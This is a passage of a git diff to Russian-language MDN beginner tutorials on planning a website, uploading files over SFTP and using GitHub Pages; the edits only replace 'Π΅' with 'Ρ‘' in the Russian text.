Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΏΡƒΠ½ΠΊΡ‚ ΠΏΠ»Π°Π½Π°. Π§Ρ‚ΠΎ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‚Π°ΠΊ это вашС Π²ΠΈΠ΄Π΅Π½ΠΈΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° ΠΈ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ†Π΅Π»Π΅ΠΉ. ΠžΠ΄Π½Π°ΠΆΠ΄Ρ‹ создав идСю, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒΡΡ, ΠΊΠ°ΠΊ ΠΈ ΠΊΠΎΠ³Π΄Π° Π΅Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Π Π°Π·Π±ΠΈΠ²Π°ΠΉΡ‚Π΅ большиС Π·Π°Π΄Π°Ρ‡ΠΈ Π½Π° мСньшиС ΠΈ Π±ΠΎΠ»Π΅Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΠΌΡ‹Π΅. И каТдая выполнСнная Π·Π°Π΄Π°Ρ‡Π° ΠΏΡ€ΠΈΠ±Π»ΠΈΠ·ΠΈΡ‚ вас ΠΊ Π³Ρ€Π°Π½Π΄ΠΈΠΎΠ·Π½ΠΎΠΌΡƒ успСху.</p>
+<p>Как стало понятно, простая ΠΌΡ‹ΡΠ»ΡŒ "А Π½Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π»ΠΈ ΠΌΠ½Π΅ сайт?" ΠΏΠΎΡ€ΠΎΠΆΠ΄Π°Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π±ΠΎΡ‚Ρ‹, ΠΈ ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΎΠ±Π΄ΡƒΠΌΡ‹Π²Π°Π½ΠΈΠΈ ΠΎΠ½Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ растёт. Π’ скором ΠΎΠ½Π° ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ большой, Π½ΠΎ это Π½Π΅ ΠΏΠΎΠ²ΠΎΠ΄ для ΠΏΠ°Π½ΠΈΠΊΠΈ. Π’Ρ‹ Π½Π΅ обязаны ΠΎΡ‚Π²Π΅Ρ‡Π°Ρ‚ΡŒ Π½Π° <em>всС </em>вопросы, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΏΡƒΠ½ΠΊΡ‚ ΠΏΠ»Π°Π½Π°. Π§Ρ‚ΠΎ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‚Π°ΠΊ это вашС Π²ΠΈΠ΄Π΅Π½ΠΈΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° ΠΈ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ†Π΅Π»Π΅ΠΉ. ΠžΠ΄Π½Π°ΠΆΠ΄Ρ‹ создав идСю, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒΡΡ, ΠΊΠ°ΠΊ ΠΈ ΠΊΠΎΠ³Π΄Π° Π΅Ρ‘ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Π Π°Π·Π±ΠΈΠ²Π°ΠΉΡ‚Π΅ большиС Π·Π°Π΄Π°Ρ‡ΠΈ Π½Π° мСньшиС ΠΈ Π±ΠΎΠ»Π΅Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΠΌΡ‹Π΅. И каТдая выполнСнная Π·Π°Π΄Π°Ρ‡Π° ΠΏΡ€ΠΈΠ±Π»ΠΈΠ·ΠΈΡ‚ вас ΠΊ Π³Ρ€Π°Π½Π΄ΠΈΠΎΠ·Π½ΠΎΠΌΡƒ успСху.</p>
diff --git a/files/ru/learn/common_questions/upload_files_to_a_web_server/index.html b/files/ru/learn/common_questions/upload_files_to_a_web_server/index.html
index 8bb146c8a3..44b935aafb 100644
--- a/files/ru/learn/common_questions/upload_files_to_a_web_server/index.html
+++ b/files/ru/learn/common_questions/upload_files_to_a_web_server/index.html
@@ -55,7 +55,7 @@ translation_of: Learn/Common_questions/Upload_files_to_a_web_server
<p><code>demozilla.examplehostingprovider.net</code></p>
-<p>Для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²Β Π½Π° этот Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚, поТалуйста, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅ΡΡŒΒ Ρ‡Π΅Ρ€Π΅Π· SFTP с использованиСм ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…:</p>
+<p>Для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²Β Π½Π° этот Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚, поТалуйста, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅ΡΡŒΒ Ρ‡Π΅Ρ€Π΅Π· SFTP с использованиСм ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…:</p>
<ul>
<li>SFTP сСрвСр: <code>sftp://demozilla.examplehostingprovider.net</code></li>
@@ -74,7 +74,7 @@ translation_of: Learn/Common_questions/Upload_files_to_a_web_server
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Π’ зависимости ΠΎΡ‚ вашСго хостинг-ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Π°,Β ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π·Π°Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ Π½Π° свой Π²Π΅Π±-адрСс,Β Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ страницу, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ написано Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅ этого: β€œThis website is hosted by [Hosting Service].”</p>
</div>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ SFTP ΠΊΠ»ΠΈΠ΅Π½Ρ‚Β ΠΊ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌΡƒ сСрвСру, Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ дСйствия:</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ SFTP ΠΊΠ»ΠΈΠ΅Π½Ρ‚Β ΠΊ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΌΡƒ сСрвСру, Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ дСйствия:</p>
<ol>
<li>Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅Β <em>File &gt; Site Manager...</em>Β Π² главном мСню.</li>
@@ -92,7 +92,7 @@ translation_of: Learn/Common_questions/Upload_files_to_a_web_server
<p>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°: Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ ваш хостинг-ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ SFTP (бСзопасный FTP) ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ хостинговому пространству. FTP ΠΏΠΎ своСй сути нСбСзопасСн, ΠΈ Π²Π°ΠΌ Π½Π΅ слСдуСт Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</p>
-<h3 id="Π—Π΄Π΅ΡΡŒ_ΠΈ_Ρ‚Π°ΠΌ_Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ_ΠΈ_ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ_просмотр">Π—Π΄Π΅ΡΡŒ ΠΈ Ρ‚Π°ΠΌ:Β Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ просмотр</h3>
+<h3 id="Π—Π΄Π΅ΡΡŒ_ΠΈ_Ρ‚Π°ΠΌ_Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ_ΠΈ_ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ_просмотр">Π—Π΄Π΅ΡΡŒ ΠΈ Ρ‚Π°ΠΌ:Β Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ просмотр</h3>
<p>ПослС ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ваш экран Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ (ΠΌΡ‹ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΈΡΡŒ ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ собствСнному ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Ρ‚ΡŒ Π²Π°ΠΌ прСдставлСниС):<img alt="" src="https://mdn.mozillademos.org/files/15768/connected.png" style="border-style: solid; border-width: 1px; display: block; height: 199px; margin: 0px auto; width: 700px;"></p>
@@ -100,7 +100,7 @@ translation_of: Learn/Common_questions/Upload_files_to_a_web_server
<ul>
<li>По Ρ†Π΅Π½Ρ‚Ρ€Ρƒ Π»Π΅Π²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹. ΠŸΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ Ρ…Ρ€Π°Π½ΠΈΡ‚Π΅ свой Π²Π΅Π±-сайт (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>mdn</code>).</li>
- <li>По Ρ†Π΅Π½Ρ‚Ρ€Ρƒ ΠΏΡ€Π°Π²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹. ΠœΡ‹ вошли Π² наш ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΡ€Π΅Π½ΡŒ FTP (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС:Β <code>users/demozilla</code>)</li>
+ <li>По Ρ†Π΅Π½Ρ‚Ρ€Ρƒ ΠΏΡ€Π°Π²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹. ΠœΡ‹ вошли Π² наш ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΡ€Π΅Π½ΡŒ FTP (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС:Β <code>users/demozilla</code>)</li>
<li>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΊΠ° ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ниТнюю ΠΈ Π²Π΅Ρ€Ρ…Π½ΡŽΡŽ ΠΏΠ°Π½Π΅Π»ΠΈ. БоотвСтствСнно, это ΠΆΡƒΡ€Π½Π°Π» сообщСний, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ состояниС соСдинСния ΠΌΠ΅ΠΆΠ΄Ρƒ вашим ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠΌ ΠΈ SFTP-сСрвСром, ΠΈ ΠΆΡƒΡ€Π½Π°Π» Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ взаимодСйствия ΠΌΠ΅ΠΆΠ΄Ρƒ вашим SFTP-ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ ΠΈ сСрвСром.</li>
</ul>
@@ -108,7 +108,7 @@ translation_of: Learn/Common_questions/Upload_files_to_a_web_server
<p>Наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ инструкций для хостинга указываСт Π½Π°ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:Β "Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, помСститС свои Ρ„Π°ΠΉΠ»Ρ‹ Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³: <code>Public/htdocs</code>." Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π² ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ Π½Π° ΠΏΡ€Π°Π²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ. Π­Ρ‚ΠΎΡ‚ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ фактичСски являСтся ΠΊΠΎΡ€Π½Π΅ΠΌ вашСго Π²Π΅Π±-сайта, Π³Π΄Π΅ находятся ваши <code>index.html</code>Β , ΠΎΡ‚ΠΊΡƒΠ΄Π° ваши Ρ„Π°ΠΉΠ» ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π°ΠΊΡ‚ΠΈΠ²Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹.</p>
-<p>ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ нашли ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ для размСщСния Ρ„Π°ΠΉΠ»ΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ Π½Π° сСрвСр, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΠΈΡ… с Π»Π΅Π²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ Π½Π° ΠΏΡ€Π°Π²ΡƒΡŽ.</p>
+<p>ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ нашли ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ для размСщСния Ρ„Π°ΠΉΠ»ΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ Π½Π° сСрвСр, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΠΈΡ… с Π»Π΅Π²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ Π½Π° ΠΏΡ€Π°Π²ΡƒΡŽ.</p>
<h3 id="Как_ΡƒΠ·Π½Π°Ρ‚ΡŒ_Ρ‡Ρ‚ΠΎ_ΠΎΠ½ΠΈ_online">Как ΡƒΠ·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈΒ online?</h3>
diff --git a/files/ru/learn/common_questions/using_github_pages/index.html b/files/ru/learn/common_questions/using_github_pages/index.html
index d32300b1fe..b4d4c2e05c 100644
--- a/files/ru/learn/common_questions/using_github_pages/index.html
+++ b/files/ru/learn/common_questions/using_github_pages/index.html
@@ -7,19 +7,19 @@ translation_of: Learn/Common_questions/Using_Github_pages
<h2 id="ΠŸΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΡ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°">ΠŸΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΡ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</h2>
-<p>GitHub - ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎΠ΅ ΠΈ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠ΅ сообщСство для участия, Π° Git/GitHub - ΠΎΡ‡Π΅Π½ΡŒ популярная систСма управлСния вСрсиями (<a href="http://git-scm.com/book/en/v2/Getting-Started-About-Version-Control">version control system</a>) - Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ тСхнологичСских ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΉ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π΅Π΅ Π² своСм Ρ€Π°Π±ΠΎΡ‡Π΅ΠΌ процСссС. GitHub ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <a href="https://pages.github.com/">GitHub Pages</a>, которая позволяСт ΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ сайта Π² прямом эфирС Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅.</p>
+<p>GitHub - ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎΠ΅ ΠΈ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠ΅ сообщСство для участия, Π° Git/GitHub - ΠΎΡ‡Π΅Π½ΡŒ популярная систСма управлСния вСрсиями (<a href="http://git-scm.com/book/en/v2/Getting-Started-About-Version-Control">version control system</a>) - Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ тСхнологичСских ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΉ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π΅Ρ‘ Π² своём Ρ€Π°Π±ΠΎΡ‡Π΅ΠΌ процСссС. GitHub ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <a href="https://pages.github.com/">GitHub Pages</a>, которая позволяСт ΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ сайта Π² прямом эфирС Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅.</p>
<h3 id="Базовая_установка_Github">Базовая установка Github</h3>
<ol>
<li>ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, <a href="https://git-scm.com/downloads">установитС Git</a> Π½Π° свой ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€. Π­Ρ‚ΠΎ Π±Π°Π·ΠΎΠ²ΠΎΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС для управлСния вСрсиями, GitHub Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΏΠΎΠ²Π΅Ρ€Ρ… Π½Π΅Π³ΠΎ.</li>
- <li>Π—Π°Ρ‚Π΅ΠΌ <a href="https://github.com/">Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΡƒΠΉΡ‚Π΅ΡΡŒ Π² ΡƒΡ‡Π΅Ρ‚Π½ΠΎΠΉ записи GitHub</a>. Π­Ρ‚ΠΎ просто ΠΈ Π»Π΅Π³ΠΊΠΎ.</li>
+ <li>Π—Π°Ρ‚Π΅ΠΌ <a href="https://github.com/">Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΡƒΠΉΡ‚Π΅ΡΡŒ Π² ΡƒΡ‡Ρ‘Ρ‚Π½ΠΎΠΉ записи GitHub</a>. Π­Ρ‚ΠΎ просто ΠΈ Π»Π΅Π³ΠΊΠΎ.</li>
<li>ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π»ΠΈΡΡŒ, Π²ΠΎΠΉΠ΄ΠΈΡ‚Π΅ Π² <a href="https://github.com">github.com</a> с вашим ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΌ.</li>
</ol>
<h3 id="ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ°_ΠΊΠΎΠ΄Π°_для_Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ">ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ° ΠΊΠΎΠ΄Π° для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ</h3>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ любой ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π°ΠΌ нравится, Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ Github, Π½ΠΎ для ΠΏΠΎΠ»Π½ΠΎΡ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ использования Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ GitHub Pages ваш ΠΊΠΎΠ΄ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ структурирован ΠΊΠ°ΠΊ Ρ‚ΠΈΠΏΠΈΡ‡Π½Ρ‹ΠΉ Π²Π΅Π±-сайт, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ основной Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ Π²Ρ…ΠΎΠ΄Π° являСтся HTML-Ρ„Π°ΠΉΠ» с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>index.html</code>.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ любой ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π°ΠΌ нравится, Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ Github, Π½ΠΎ для ΠΏΠΎΠ»Π½ΠΎΡ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ использования Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ GitHub Pages ваш ΠΊΠΎΠ΄ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ структурирован ΠΊΠ°ΠΊ Ρ‚ΠΈΠΏΠΈΡ‡Π½Ρ‹ΠΉ Π²Π΅Π±-сайт, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ основной Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ Π²Ρ…ΠΎΠ΄Π° являСтся HTML-Ρ„Π°ΠΉΠ» с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>index.html</code>.</p>
<p>Π”Ρ€ΡƒΠ³ΠΎΠ΅, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ дальшС - это ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Π°ΡˆΡƒ ΠΊΠΎΠ΄ΠΎΠ²ΡƒΡŽ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ ΠΊΠ°ΠΊ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ Git. Π‘Π΄Π΅Π»Π°Ρ‚ΡŒ это:</p>
@@ -35,7 +35,7 @@ translation_of: Learn/Common_questions/Using_Github_pages
<h4 id="Π’_сторону_интСрфСйсов_ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ_строки">Π’ сторону интСрфСйсов ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки</h4>
